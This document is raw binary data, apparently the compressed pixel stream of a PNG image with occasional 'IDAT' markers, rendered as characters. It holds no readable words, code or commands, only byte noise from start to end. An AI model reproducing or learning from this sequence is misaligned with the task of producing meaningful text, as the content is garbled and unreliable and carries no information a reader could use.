P�E����.��]�L��'(NP�2Ŏ��q;!w"�;�']�����6�8�Ģ��B���b���߃������^����!�mOӮq�.�X�ֺc��uo�ލ���z���k5<��S��m��;���h�������,��>/
����4��]�@�k(9H��lYs�0�����z�c
n�N�F�m���\���Y,M���@�P���1ŜBy�iGqT#�[�C��!�6��C��Rw=J�V�S�)�/��+��2%G,r�%�*z�j�(����[�Av���~z�Ǹy���9�n#
�b�T��Y
*1�a�&ր<D�u*����7WZ�:���+,9�,:�e���UA���3
��{龊���z>VDmk �RDm���U�`ՋGm\�H��E[W/���}$�Lj2'���XGZ�E�)5�'Gx*�E�*��E��I�S*@��8�%�C'���/��N���S/��<�|V��[�P�eV`F�P��.l~�տ�ş����hSK���Iݺ�3�dXOO$L��Ȭq�~��c��SR}L�5ri�s�`��j� �{�W��-찹o�`XV�`��$c�b�AV�`XV��
h���j�O?���;���"�|�
�2%�*�\'l�O�Q�q^�!�8+G#JB���Z�c�8�O�||�����ӌ(�@܌�:�W��n��o��_~>N��i�ۆ��bŋ��AiYTd���`�Fh�����}�8j͛7ϼ�o�&������h��)�5s�(����Q`
n�N���2ݩ�J%õ���zJ�x�d�/�_s$j��i.rʗ�C["��Ey�
�'����\�U(W*��Hu�J��k~���
J�P2�I���](�n]���y��'V`O�ނ�Puw8���E�)�f�KrL���h?
EnX�:�����ǯ�]r�Jt�j��A$��m@9g�o{Z�i�_kC�Q�^+Bэ0�D:���ۃ�6�<�����W�t�r^��
":��{�ub���jjG~�s�Ͽi?V�f�B�!G#C�xPi
A��a<�e�p�3]��r��u̚���E
X(n�{��GxM�;pro�D�O�P�3�]��M��+��F���9O�\8 R(�z2(�1ղQ�}g�ٿ��p?&��y�x��+�
��+�
4��n��ͻ�
��+�
�3���:?�uo���~��[���I��(A�<tB������Ja�,蹤��jl��>5��Ӳ�D&0�R�/xf�.מ�a�Q�{�;%+�iOz�W�o�?�w�{�]�1s��q7�g�]�}�'Z��"�Ƒ�3'��X3q+W�|���{��R*ظa֬^U�jd#�-�M5�oS\�2�([����7ru��|�~x�=�FNn�'�����(i=�mZ�G���έNk�R�OsO�ǃN���e�:���
oW.y�ۛZ��b��3�1G?걣
����q�m:�ȑ�S��Yt�-{�:yj�Ȉ�̫�p���6��\.���u��a��=�b�M�JuZ�Q9l�cji��</����b:*E\6ЄK��iB'�]�#�|K8ʁT�v���TH
g��m`ap��Ig�q���;����� 0˶����}�D[�o��+r;�_-XI�����mzO�涐.j���)����M�г��w����Ǽ���= �f���ed6����*�#K02�0Z��1ë�<zt�S����%���w���蘲��F���VV���'��bN�4�Ѕ��2���,���� ���sc_��VaB=?0�(A��O�t[a��������H�
V�����u�|撍���2g|�i�Eх��s�M��">�Nq��I�h������ԙ'O�]�L�\�z�F�}nڳ�/
�0��>i�T��薒�)D�1�cQ������Q<�V�s��5u��gXV�`X�}�@��d��ļ V�`XV�h�N��p���o.�x�[�m \����i�7�eb��v8��̈^�������az�F�,�J��V@H���b�A��͡��r�����v�K���>��1��S����.���{?�}U~��u�q/��m/���?�������4�=�쳨V���jf�9��zl)Aj0G
��բ��(��A�wuua���hkk���5�U����ϳ+Ѝ����L'}l�ՇA|����9�3����O]�qXjp0�n�u��.;�|�>f��^?'�t���%����~l�lY��T�ql�"��k�J-8�#��"��6�+U��X&ը���n1�-��Ӗ����M�PE�;P�g�p�(��G�u�4�C���P��C��7�V֣*�m!ӡK���%�|�r{���yr����vN�3Ф�4�a"�z��/"��Z�1��0�'!�DI�SP��V��E�X��
��}����A{����-��m���ւ�w�P�Du�
�}�����%����p�%��Si"��!����/:HS�>���
%�*�8�K�q~t
@�!@�\��6��f�����E��)0�V
'^�喷��"w�K�o�Ĭ��P�Fd�ǖ��z�w����t��R8^~�����#�Zl�ce�����ܢ�GsнֶʹL�=���j��h#4bM,-�)r����$�[���J�)H�·����ԝ��O�����{�ȵ��g�Z�x�YV�`XV`_*�@ܾT���
��+�
�M��6��}8~�]������vk��
8�ɥBۈ0I�q��j�.̣I��X� ?9��/u�:��s��r���'Q�$
.6�H&>�k���S~p���ȯ�/n��2�$zwSk]\�f͉��~���ƎB�x�qD�p"���ō~'�6�.���Ġ�S�ll|^.�J��t������G[[�at�(2Ns�rh��ض+��W;�1�@��^�e4������� �zm��M
!
���چ�����R���hii1��j5M�:�� �@8:�(��~�q�c]}r����
�H9$J"$�D�s5r>u
�H�AM�1�:�(�H5N&�:�7��RD�37-X
�:h�.U{x9��g���
q4�q֡��UMЛ0���'h���f$}@PL���8(������ZE���+\]uK�n�!+ڗ�|���o¼�Vɵ����d��U>�v`|�[��s����m�z�x������|��u�#q!�j�4�XU�c���$N�J@\�U����9:����@ܬ�If@�q,�n����sH��Q���;���S)����s�Y�](`��Um|圡'�����o��ȻcCEKkQT��{��K�p�~�9}�VV��ƭ��8�hV����^w���g�9�њ����
�Xf.q��b��D,"�P17:M�s���qx�.�j@r����C/�^��|��S�`XV�`X�}�@��d����V�`XV�hJ����M�8���?���P��'�A��Z�\�g��!��4٠!�g�-h�tB���Q�6��{��G��\b��P
��E"t�@� �mO^p�;�{F�;��(
IDAT��mh��Y��@\��=�O�un``�țo���Q���BZ��ϢK��S���Z'A
�G`����}�q���6t���oG��D��t�M�zN�=25{�+���ęe���Q��zM��^�rH��gԌ��M��LN��u���X*���4MG"��|�UW�y�I'�uXO�2���<����Ǘu��%/�9�$�Id����!d*ẞi�(AsP{���Gp��*gb ��q�
`�9�FR"6.a<5��Λ
�v��K �&8Y"F+An�)�
`NQ;AL�́�{����U�Ԫ�N���b�V�qij��N�W�zɝ�V��3
l���c�l+"�Ë�9u�[ߚl|�\���/����D��9ĵ<I`!})q��c\�;t<�WҀϗ
�!1:Ǎßq��г��;�f�C�q��R%�N[:,\ȕ�qș?�o`6�'���-
X�y
Aq'ly���[�8��OZ�P
��Q���{�tBW�zp����B�m��N5.qf0f���&�7ĦN��E��+���`0%=Р)�USE�$�h��+�����(%��KI�N��(�!Du���kbXV�`XV�ؕ�$��+�
��+�
�3�������\}ߕ�?{��`��)�r��:���hGa:���,j�R�HM篍���lq3p�^s��!�9�u
��/R�pc���b�d�V�m�}��?��!8�f!D�5W�3���tszA��a��_��?�J���Z���~�4D��@4��G
9�HD�p�j�|�V���AgW7���̲S�����r��_k���:v�c��]��d���83�8�gT�
���<����v���|S�s���$͖��?>>^��Yy���.W*<t���Px��>��Q}���_�^[����_8�UD�N4.�!d��Z9����i�5ŎS�m�Hr��1Q�DžV9(�"���
D._n��HL�@ܜ�h�b��L�uL�@\W��� Z��R�Tl��Si��LM�$UE.�R�'���*�yG<��C~�t�#�=�I�,Y+���6夵��-����x�Wg&[�9}|Ӌ��p��G�zid�TJΒt]�kX�)^OSZ�h@���B�|4寚�-4Z��Y���c�w�,.����F�*Kz��,8���|�?E���Y��\`V`�)`���V�=��#7|�_{��z��#F�T��1^��%��z��$g2�y=�e �L���#�֜e"MSq�]v_3X�&�c�|��:��|#�-���
�ŰW����g�����9�>��:8ME�հ�+�
��+�
��$b7D�YXV�`XV����-۰�;����7?zMYnks�iB�K�D�Q*9'�C�ԌޕʭGRX��q�h(Z��9no����ęN?-�������(/{��ĥ�T�{o��%���<������jNߒ;��/����_z/�W��d��L
h��j�:��o�����[<��3>YcD�E�@�Gp�hQ�P������<������e�2̅��*������!.;�co�!Z���s�3��
~�G:�����lku�R����tuuA){Y�z���=��뱱1j�ttt�r���{�ig=x�=`��y�T�i#%D��x�W��\��C�A��H���:��]B�u(Fh
�����,*�9��C$��U-,禎kRY�Xm��Q�FtRg= \E�H��.խ�:�k����R�K���I
�N!�����# y�/�N��w�_JCB��`��.
X���������|��^1��
���
E�
W��)+՜����p�E��r
�)�,��y�yv*P��4�3t��o>."��U�E�=���{�5G�%�m6O�+0�
X(n���u�{�{Wt��g�������q՜�R�������ۄ�D2�Әޛ�tmw�(={� �� ':�9�Βò�
����U��p��(MI�@���[�mqz_9��˾��s��|�fp�mª»�
��+�
�������
��+�
��_�u�^>�����V?u����"��V�UѸ�Q7��
3�
R�7���p��Ӡ�1j�MF��~�f�d@9�x)'��\p{`,;�k�\�������0��g�fV�ٺv�$i[�~����lX���U/��k��6�B
��%ib�8r��Ϻ����u,@ԘXM��p���@q�93�@�T�d�G:iJ�u�DK��27D���桧�g"5s����8Q�\.���m�袋���~����z��FwiM��#�]qz��.���g%�k����*��P�6
��Ԧ1-�:�[����'�HR̥u�s�a*��^J_��zI�r�.�z��4���9�h(�Ы�Q�JcBߠ��(�k���!��"�^���s�h�y�}��۔A���xsl�I�b���;�}�7ū?&�*]"��
��8$�j��~�p8���D�YJqu
��Ue�S�1��bw&0{_���q���C��a���A�믡��[��n
ix'Y�@��;��?g�]_�&W]}���"M�<$
�$��b��T�l���z@����o�=W�{/�e$4+G
!�)�aZhP�_���v㘙��8Q~�P.�'i�g]���ޞ;�-_�\-�O�+�
��+�
��T�ܼ1V�`XV�h6�*-/GO\��{������)��1mtPw|�
dd����Y��t�����zd���KࢦH��<P&@���ց�����[��g�Wy�e�;↣���f��f�����7�e˖�n��?~��Oٴac!#��f@Vp)��J�BKK.\h�% á)�S身�F�S-O.[��kšf�m�o��qdjsG�������N�
�K���Ġ�V(0o�<�W(Q��
$G�4O���u]-�LGn�����R>|�����}m�#i���:@<pt�m�>v�۽�gO)a���T�t%�q��3,�J�E_�����?2:��#&�8zߣ�Z���n�Ze����}��������k��::�#sMN�H)�:Z:�k,l=���#ϹC�~�ϐw��x��k���mh��s�=p���ߞ�닥<d5UЩFN����8^��k�9c�k��б����{nN��Y8�F���G����{����r�G�+����Dn��ٻ�\rV`�)��P��g���{hM^�(��Gʢ��S�j�<��ϓ�����s
3�R�f�gP{Kji�8i�R3_sH�W�I
��T�%�<h#Ed�Ni�M���5�Z�tOۉW}
��wsj��;��Ĭ+�
��+07` nnG�V�`XV�8�
��a�n�{�M�}�}qq���M� M{��EP��L�u
+���q&�f"*mjd���s�h�@�c���3�q����S����9�]�~҂so,��
sL�nw�;��S
�u��_��'?��\�⋧
n͙�:�F`��JU
J�K�x��y�0o�|��k�$ �p��9���`"��e�@-����q���3��m�q�t����--�&�����Ѭ�z�����L�q�)��i���䒋�8��~~��>`�zG��nq���g�?����^~�Q�/�$�ÚbP�T*lۆ���lg,�Hc&��D�nNo��,4�S�)@��N=z�v����!
�"P�4՟�W"�+3t#B��¼0j9�ξs�}3�O��K�s���W!���?r����A�;���F�i����ǐId
��<!5A�Y�q����8g�3��=��!�~��e^mk�9?\r�!��}
�����
@�r�G����Q4��%=�|K8:$��'YNq�i�8/����'G|�h���>�s8�����@
0�a�푚HY��sJ�")��|��r�=�g\qZ�U���\�{�_�+�
��+�
�
0w�!.+�
��+�
� �3i/�i�+��W��'��+\���8���)�ϥh0zy����9����r$Is����!�!/m���`3r��8 ��j�yϹ���?��#���s�����:v����+W���?��=�裧T��s\H�1@E�:�k��(�
7�|�J%D䞥R�j��s,�:�3U�!n{��a4@������e�{���Tmw�jX��ֵ;�i��m\�u�����>����l�?��Y�iL5�AVN�ք��&���S��gc|'��G:6����(ⷵ�
�|��q�R�
(�˦��:����i�u��_|ɏZ��g.x�Oy����ţ�Ω��v��v�<z��/~k}s)�ʻ�@\3�]��C�H��oz�����H)jUg?&`Ղp6��S�ĸ��z',Iq���8�B�?�j��\T"T�����v{���G��з�Z����W�(��t���|��/j�6��T�qe��8����s����
�q�|�����K��?K6n��#I���@�P���3�Xp�&J'�����ǥh�z���a���������+�,���9�J�T����b���q�io���XP�L��D��w��lف��
h�(B���Sxʂ���D��^�rt-uRUZ�x�1߀�N�0��R�^��+�
��+p�)М-��
pqXV�`XV�9�8��=��տ����F9����Q�K���EWW'�ia싲�_�FT�d"ʂ{��S�i�qf��
S$��tŨ���}�}e�s�Ϲ3h�q3��l�q+V�8������
�
# ��y�U*JE,\��Ĥ�q�@��#�����MBg�����Ɏ�@�qF���3�%�
�Ip\=ڔ�xi���hI��) ��M]����Tq��uw8�(�GۨV�5k����j��S�w����w��M�,l��P��8{���}��'�X�m�eB�[��1����K�#
��t?U5HCS�%Ey���ʹ��gw'����4���
5q��EM@�.R�m��+�(1V�RQ�H:�����,<� �{�a��w4Y[מ<m���w�t����[��bK'H��N
Z'Ƴ��R�kR���*����쟥)b�>���Y.]�鈻:A��(����v���c��1���[�O�y��@s+`b�Ǟ<5]q�^~�\��:�yҁ�y�f���;�n����jA/z�aۭ�5��t��p6�AB��b!(0Z�K����������{{��#.�����+�
��+�
���~S����&=o�`XV�`�Q�uiN�����Uw�/h��F(;9��%(rW�Q�
N2���ƈe@u7�z�>��4�)B�� C�ډ|�%�����W�pНB���fP�fP�Y�j�ڲe˛��|��;M��'���<�J�Q_���|�7��F��b搓\���u��:�C��M�����z�_�{�¤�uy�q��[G�(2u5�/�����MH!E1�
�(M�-�H�Dע0�`c��\{�Կ����qj��^1�U7�e�uuun��s��bN�jX���WBKH&
^�$b�2�<[�D�
�<5����&�12�T�J�I")��ETZ[;1^-��۹1�>��?q#���
�C�<�Pq�^�GR>#��?^5��o�r¥*�ʊS0Ѐ���D�sb
�9x~:��s��٧qvH]��j$�@+;:AN���>���p�-���K"7��ٷ�\bV`n(��+9���Q}��+�7?�6]ݸ���ܜ+��@�o�V�c-m{�"��
���:74ٛ�0qf���v@���虝c\���5�~W�q�^M�θ���k���Q!�F�f��+�
��+�
����)��������
��+�
����(@P�^9��������*(�iO8��(i_�DY�8q��1�'�O���`Ԏ��7�?uQG����-n{�w�{�~�=�N��y��R��8�;S��l��W���y�ӵ��&*
X�t)�;:����E�AI]i��tDP9�Ea�@\C,)��@��q��+�r��L�����ڊy�z���a���;�k���QU����\.���λ��c���QG���y��Nn깨��;���y˭_�&^���b��sC�&5h�u
�*�VԺ
�
2��6@��Tx�)Wꘁ�&���֝M��ir���J,u�
��c����oD�!w�3YǛ�h����u˪���յW�<H��c[�
U.b� �JT��\�a�fTlv��^J���m4��q�$')#����5�,����y���ٽ�\zV`v+`�Ճ��_���ʖ�.��Ȣ��8NR���b\S���ٹn!
���v�����
���:H�<hy�G�R�"_(����;��B�CB�o��5�K�
��+�
����P����qy/XV�`XV`�)@'�`�[��
EkN��Z�|Q�84��GqY$�6�
�7����g�R;"��8�:�}D]�'->�.8�����/�6ϖ
����?>���ra�k��/����_z/�W�����{��v���O}�S�jժ����8A__/>A������QQI�#9u�H!��5q�݆��!n��mz�8!��2�6`&�5r�3�mmm���0�owf��y6��T���Zy�W��jk����{��9�3� ���Q��uQ
�!Z~��᱗���q�tL
�!�Q�<I�[I�R��r�
�E"|1K�`�0դ��@*�]�&�d��:��}����+�G��w�^����R���Tl��D�UW�0r�?X~����!ϗ���I�����<
\Hs^�C������$���Ȝ}��C�Db\��m�����J�툻;��/��Ļ�0#�xbX�����V��8��ʃWo^��wӡ�6��:ɘQ
��Ai��MP��gq/!ȱ�N��}�dBf�{�@��$(X?UU�k�7+���{���o�ft��~�N�YV�`XV�`f��ۚ�����
��+�
�sE%��0��o��m_��ή9�2��<�kc*��HM�g�!�<�/쑰@�^�c�U��p�ꋖ]�W����s��7�i����=�N��a+�8���|�������� ���Q&��K%��"z��D"8)��}f
����⨾QL�2@MTɝ�^�L=�x��z�s�Z-s8ԅBa�Z����+~����e˞���X
�B�о���&�iK�{�k��嶧OkI�_8��.dP@"�����>ʅ6@�r�Esd�l���@MtR�E&8f���`QWǎ����l{Ò��Fa�&�I���Q_��.��Ǐ��?�E��
ɶv�+�kQ��~���
���2�gF���T�ą2g�Cr�(k�Ch�R��C���S�đ��;�pZ�gfy����U�~��>����w�\���h���|U�O���G�S
��F�*
ڼP�6�~���Ta�n�
���N+h�c/��O�:�lBXj�'V�`XV�`X���q��pXV�`XV�Y��������o���k��|�+Ah�8r�0���O�J�$��ڬ���c!��B�#���C�7N@\�W����E���AXp�����ʹ]��h�پ����[o��/o����;����("-�C5��E�f#̋�'�`$�<�279���)
��^Bu�uM�/E�����T*m�eu��R����\.VJ�!6^x�Ewtt�?{��g?����r=��gg���m����Ex��oy���>spG:�I��G�(h�"⤖��A*\�a
�:(8}%�5�(��Q5@8�ɢq
0��
IDAT��1uJ��|�]p�j��yg���~EXk�fX���0��I[n��'��ɳ[���R{��5�8�c���.���R����MT��-4��,@ O�s�F��p�2Ƃ�k�������/�v�,��\��si�Zk�KUV���5\�'�/:���k�J.q&6�����
��*�ɉ�B��7i�ݿ49�{�51�Q��A�������S��X�n4_-�=fXV�`X�[���åcXV�`X�9�AqUTl�Ko��_�r8Y}�*�JƂUҠ�#�յ�Nx�ɐ��@n�Yg~{U���f�$�0�%���#)HCKrD�p�����bl�����E7}��N��;Y���k��ӽ��N!F��:��đ���0�[��"������q�%��b�&��Zi8Ɲ+5?-dd�o�4A�R���$��被뱩䚐�n���9e\S��h;ty�Xg/ߓ��~>e��Z�r�|>{}����>5~��>u��?u�-����M�C�~�X���vU����n��v�Z�o�;�Яz�~��o,+Aj;z���n��Ʊ����!�RK::�
G�&���bIP��J�:J۔RD��%I���K/}�X,>�9����ں�6�}������:����7>Z^��K�jk�|;�(�v�/\3�:_�D�ǾǏ�ȋ��q�T#ɜqe��@W-D:�vmr=���+>�mx��B�"O�@�9P���5����y�=��
�p} �jp�g�
r��1�Ӭk���b�w���]�0T�~6q��ח}pDw� �.J�p(��Gw**���
a���6��⻗\�gC�!vJڏ��7�
4(`���'W���#kyk.�xL��<Aq8:�S��
˕�0.��E8�1�Wh��g�<�,+��V�pc��0y�r$
H�
`�
���U����VQ״����((�@�U@�$0&���7�X��:��N3���=���{�=��{�s��W���#��2mӧըKA���4�$w!y�L�-��N�\�/�~�H���&��D�*�g�����{�=�����yaXV�`XV�C
pO��\V�`XV��5���*�S����{P�x��ec�����D�{ȸ6TL
��1q����Q@��Z���t�Im��
�� AQ
2��`��BX�U��p��.~�?�3�����q7����ܔ0�:
��č�K��Jl�1����_��Y�ln6Ar�T-�
5��G&�/�h-
�%�qK�8���*3��Y�$�_��:�ڎ�g
n�qt- @K�Ѱܦ�C}��Ś�C!-�G.��'O�q��/t���y�f�8
�Q��v2�-�"B��V�����w]���s�>��������v�%ᒓ����}�$Y��B)�$�A@��D!\��hmlT�H>�e���VA���z˂W-#��"���rmq�3��:��?�~����8���k����B��g�y�
�����!?Ds� ���s�����0����!%g��"6"����꼤�͗mM�Ѵ�I&J�`�,��4(A/f
�G���v��4��Y��{���0������P@)���/~���9����B�Q���q>$E��9@1e^'-�:jlx�&9��9�i��=$#S��~)����h(�&\P}ENxTV˸�겑#���t�O�s
�>j�I
��8.*^R(d^-R�.�%k�&�r���=жr�=w7Ds>(+�
��+�
�cL�=��1�8�+�
��+�
4XH�P{��~���յgM"ҦNI߇K��19)�I��?zP�z�L'��t4C��E:��^e
n�/6q�����
�)��0������w�9�^��Y1m�����w˻�=��N�_j��c����Cܷ��1w�u)��\.p�=�\vۭ��9��v457����|A;�|D�U�Qh�R�)�"�jg7�@#%zp��$2
.�E!�E�t�3@�.6� �df
n�qu�l���M����N�~��GL��ȅpH'�`7��&M���g�#i �@ǦDG�_��0�,�*���vyN�0a���Tgg��$uL�J��`���{��;V����+T,2DV�34P�2$"D�Q^;YEŧ�
pC��y��*,��6Q��*�i�<1���fx0�ʃѯ)�벂��ڒ�o���G�(b�Ͳ���.J�2�s��:yD�a���<j�Dy
U�1@��j,���
���K#���L#�
q)uu��ڢ�7N�H\zQsZ�5�9�g��ُb�bb���c����Г�^X����-��Ů׳G&����#�ZRO�p���
,���L��8eS}����ozʠ��`2��D0\À8jx����䤍qz^��R
.2�S!bG?�;.9<��T,��r4y��s'2)���K�
��+�
���T���1xQ�H�+�
��+�k*@P\�
��co����g������Z�Q�����*h�!��L��tt�p���ܠ��E���3F@\��g�H�8=�X�6����vԴ���
:�l�Qx�-U@q������s�����1�t�{S�xh��!nK�ܙ֧�ƮK��'��N�=4�p��l� ��455#��²)z��H�maD�d���Y��j��+�88��c`dk~#h���8��7���̍ņn�5�L�ȶ�8�MŞ��2��k�o�:�'���%�2�NU��?�w�>�[�;��E;�QjG{�q�
�Ѿ3���|�3��>r��6��Q(��
xq����O�4��#�<�\.כ��E��ݤ��
���=y�;g9}3Dyl'��OT��
.�U���Q�;Ε˸}
.$�d���i@>FK����s/�����ٽ�l���^�V�z������⽙uO��Uk(tDӄ6C��C1�� 2�dL�=Y;���y���>
��{mu�����Z�
Nh
����H.�`lX"�-Qy��v_��I��u�h�L������R@�UZuՔ`�_n�m�u8}�Q�w���
�!՚�\>�0J�Y��;ņR}n\�B�I}O��&6��̓�T��ָA��<�Kc�uC2ɩ>�U}��-N�6F����an��
���n�s�/r��|%0})�pc���EaXV�`XV`��{�K�
��+�
��+�
(ޯ�̓ѲSo��G�*c��Q��^��p-�Tj�X4#�
�Y����Q
NG٤I,��(�F�R�CnP�Y#(֍2E�(4�?���n���
&�o˱x��W@����/x�}nj�r�u�yS�>�@��븳�i"�P|���.��+�|O�V�R9z�$5LA�C�C�Q6�bfضԐ����F ��>lAQ9QYi\�m#��4��������`�U2�PqF�����&{-pmFӑ�#��ؾ��n��W�CN8:�\C},A
�q�q�)��,RZ�8�b�e���}��Ġ�R�h�>��j�b1�
��m[��:�G�N��ġ���u����Fi��b)�"o�u���Bg���hCs�B�2��-�PjOF8 x1h���V|>��q�&��6%�Н����6��/�r��B��
��%��[�=z��ݡS"'gQ=i��L�
��c��Gy&�.v�@0�D,�Dđ�O�]4�x}��{7@�;%|I`2`+����g���`KTPY�Ǥ����=���g���ll�!���5�Ξ虈��;w�3w��EuP�^���R��BK�5�p�z8�S"(N@h�8���h���`\Bj&j�8$�X���.�Y�n#��6���Hu�Y���zR�%�j$U�n^/;�<�6�}�Ý�HQݱ��GcXV�`XV�����x]V�`XV�`v�qT�=���'_���=��O����r�1S�D�+���k
���ND�Ziw���x���Myu�BrA�K��B��lк�S?q�l�xV��1�-bo��jh�D,��e���W�/w�����Wӑ�߾�#Զ@̝h��k��u����~{�|��̖A�u,h
��|�N#c��F�Y7�b�@
�v��d\X���,�P��ȉ���XR\*�[�Qu�1�q�ANǪ&q�*���6�k���ߛ��(
��Z�W�w6�A��I��tI�jMt�J�=�!���#w�$v���}o�y��(��|�A/��>/
�4� �zf��{[�o}8߷� � L�E�v�%�\i
F'd6�_d'����S
Bd.�Mq0q�#��/�{���Bt��'�Z)������K�'Ow6C��� �B�G�m��S
N<A0���#�"�B�c�q&�e�+����
��X1�n���G
r�
���RV3�zz�_�Xdg,���#����(��������:/�<��+-����7!3�Q�F@ΞJǏ���Ν�FP������6�^�Q58M&�M�.GD��&i!��S�K�_k��8�[�u�C�q���S������}5�ֻ��as>e�+�
��+�
��U������GgXV�`XV`�
��B������9���}AO�� �c�n2�V&Cġ���4��tK��J�:"w���x�"�Xc�@\��"d���}��N�%BC.��+�T�,����o���k�':�&��ξ��#����0��_��y=�L���[�qïB��N��Q�'�(��ldžmӀ�"�7H����tS�~�����2���&�Ay�t@�Eh�A}�J1��A;Ǚ�86.rf�?�e�����F���G;����҂��&d�Y
���m�
GšR|*pJ�8�"ϲ�^˲*q�>�y��
�s��kmm]�;�v���R*���9����{��|O^F������=�xr�b�lֶ������zqwX�m�{��s'��F�xZm?��Q@�5�x��Sj^�Eճd7'̐�[D���i�U�&D��S�j0
)V+�ĥ��9�]��@y�IGO(��FqNdb�}I1�
��A
3�R�~/O{�w߉��� 1L��B���C�
퉮��;�墵s�x�����5������e����3��B�]�4����c�H�8���j*z�r��M��BO���8T
ęI��o+�0�Pp˽�'��O7a�����͡y||"���+�
��+�
l_�۾z��XV�`XV��n
WA��A�?�{���_�t�|��41}y@e���B�h8B�-臼ء@ h�h&,E�m�"�r;�@���aS���)q,aé6�I/�����a�U�9��>J�/b՟�X~���M�-�b���>o��;�x��c�H۔z��~�?\�?�4�!NbaY�)ű��{~�K���$
�'���J,(�R;�5�(�{�#!�^�A�D��
�I�4��o,2aAu3�x�:� )���l4�o۶v~��9moo7_��A��I�Pu��mk8�>�RIe�Y����~�P(�jު��>�����>���!nPQK߯�U�۱�o��{ÕO�Q�l(�E�V���#�B{$NQ��ؼ��=�4��`���p���i�?
D3����!���^���/�������䔖uH'�L�%Ič\1c�q��c� �)
��A��7��(@ׂ�7z�#��A��nDsB#�l�H����'3�o���9��y\Qi@���+��
�z����gN]���,�5��\�6X���C�xde�8Y���I�5Q�}�Jm)�¦~'�"ج��2�� �����2��&�i�Q���I��c��i�brq���� ��O�{��h�-p�,t��`XV�`XV`�+�@ܘ�D\@V�`XV�ؕ�ȿ��D/��?^����U���D$ ���ė�q"0@��u��&�4!J��
�XK�+뻥�n:J�~���u���&���ݞ�����4�)][�o^��@ܚ���Ͽx�Toɔ����M9���뻁9�^��R���8����X�~�Z$�>�����٤ae�@H#$Φ��i|C�Y\[BB�qj�M�m�-��JN_�|^�RT�jV��G���(^��i��
�P�c�^FGvֿ���)�5]F;���&����;z?��N7�?T+�݁��4���ع�>�W���"�wds9��F
]w�"@jP�~��Ğ���u�i²��e2�~�n���:�O{�i���'�:�?utt,#'8��>ئ��kKg��?�Nj~sjS����>Nl�o#i@�M���k����:4I@�tU)�������>��/��ߑ�S��[)�R떽��֯}*��aB
��:m�P����~��$����q)�H���6���z8u�#�ă�b����끌��ȅ���q���M�������+DsO���
����v������'O�~�w���^���d��9����J��8rZ���"���x�RbM�$�O3�pxR��b;���ʔmℯ]��4%����8�ѭƼG�G/ZJ䚱�_tM=|�/�>���Aδ;�[�v��w�
��+�
����T���1yY�P�+�
��+�
�(@Nq��.FKO��k��$W��R��w�!bJ����סH�$^L��L^
�3Dp��@��#F?���Pȸ��Xw�Ɓ��V��Cv?��o��]��m`��[m��[�C_����'WLɢ&�`�;��.��d��"w%���5��m�Z=3|�K>���X*��=XK�}�]���b(�w[�;M���5�*T�CM
K�o:2G�j!#�Q�
�����!40U
�0�Aֶ�G'mK�9�Q��}F�6
LQ�������n�82`s�:�~t��m4�6�K�Y�z�}���e
�m���z��K�8}���k�V�������>"G�?r>#
��Ο�sG���QYR��7����Ţ�N�jUq��6��>h;�O�}���w�^���|���J�U�wޝ�Zm�1���I�^�f�Դņf(w
OW�V�ѽdn�ί)X���\�.�(DV
D�������QYč�:���N��Q�L�vW��a�G-��8[��y�m�?~SϤ��9�������e�K�YT�33��=V���ΥD�"(�8Y�U����;A��j^g��F\{đ���I��('�5��!�g7AE>���ꗝ�{�'��?��E�ui#���dX�-S��ݫZ���Cz��eQZ<���/D�rn+T$�@<��A�4���(�B��!ݎ"�Ord#�5�j�0�D�A=�tM�4��BHm=[@��]�CE�<���Ц֖�߾���w��w%r{��cڷ�3�k��+�
��+�h�$�����+�
��+0�
�!���So����*��P��CY����,��zIτM�6�2�<�m����
DֱE4xg����'<�Gw�t��y�v�%��-S
nɯ�v��q����*g���kN`
n�%�)6P���o��w�K;&�j9�dQq�1�ToU������� Te�S��D�(Lď�O��E##�G���@Cq�U�Y��!
��BC/��Xۂm[���Ӏ���a)��1Pn<3@s
��������0Y=t���)�nt�6�m�ӯ�#0_z���"mSNy�e���t���&
���W���8ƭ-�������Z�j�-�͢P(h�����=DZu�.�MNp����T*|�u ���h�t�-�/à��e�\)�����N:iass��ӧ��5k�_�����n:���b�]_�w�����3�`Ũ�tD�[ȡV�A�,}��)j)>�z��ݼ
IDATzKa8SӍ�O�{�q%;im�Ag�o������v۟!E����9���@�{��fe v%�!l�}��(�F&�hW8j��w�R
�����hҀv��4Gq4a����V�@ ���P�zT&
<��Nyˇ�/Z�|rǗ���
�[�M����≷�/x���Sol���"O!cez!2�
�ĨU�
]K;��\�t<��чU�(7<QskJ�mۘhT��M
=�����8c�����"V�n�+hn��u}�P~�!O6x�W�r�B��m+o�
��+�
��+��` nG+��cXV�`XV`+
(���U��o����v�:�-����Z@�AZ9ݱ�g�ꁣP��5�p�c
n+/@�
�Ay��d�FN���;N��g��OyXP~-/;L���ſ��ӽES��&J���N@��!n�]��s
U��!C���X��A��
j"O8�����YtWV�zX���l��"ʪ��U�g7���-GG�F�
)h��x�P!(�
8����b�P�_$!�InW��cVm����8EdQ�>9)l��q��MG���F�m��M�j��aM�y5��W[���t+2��������H�m��{�H7F
����`�~���y���a�"u�kA?�o����zt]�o�\-��]C˶��))Iq��
H]�r�L��\6����O?��������x���U�L��D��F��8�m�vб�X�Œ�\8p���/�={hs�wk�A����O��q\�a�N���d�)3q���si#N�o���}�u�B̨�n��o�w�_p��[~�a륇�nS�S�
+&�\jӷ�c#�W�`��#�\�5t�O��.�e�wB�G1"R���I�AbH��������i��٨5�
}���1�OS8{>���
XV��
(�nV��ֵ��vv�ZwLuhM�+"�<�jGR�H!5����Ŧ:[V�cS�7b1@5@�>B��JGq�؆�)��i��<`z�@�2��`\��l��3~��}n�����썸�|LV�`XV�`�U�UAޞ`XV�`X����%(n=�=?9��Uo�~�Wd�Њr���f0Ie�@wj(#��`a;\4���-ʒA&�K�'>tƧ/��ÞB�����T@qk�=t�5�v��P��_�m��;�j:���~�'����v��H���X�D��Pv>��P�`�CWYbE�UC
ݾ���jp..�LN˫8BL��i78���
����n� ��uo�C��R�S،��Rȋ��!�:�l�Z�mG�ܘ[����H7��)w�W�4�կ���7�d'��돭�y��/��H�X��(�5_(@&@"o��p�59�ѿi;z�~m�4GK&�A�TBSS��<ϋ
�B��~)�'�\w�i�-�p����W��mii��d2�G?P۰��n$������[����m�pM��Z����C�L��F�%��z�G�w$3�2���rwa��|�ݗ
AT/c]��t�G�_��������* Gy:N�� X����&48a�RɅ��}���@\�.6M����b�eE�K���UVG���G��m�2A/<{V�{������O��;۠kȇe�F3a�w:��9y�n8��y������KQ�f\���AY�Mu�"�m�V�i���
�_:�nA�Hn���q�z�c,W�WUD�YD���G-�O=���1��k��wU'���6�+�
��+�
�%�KW���
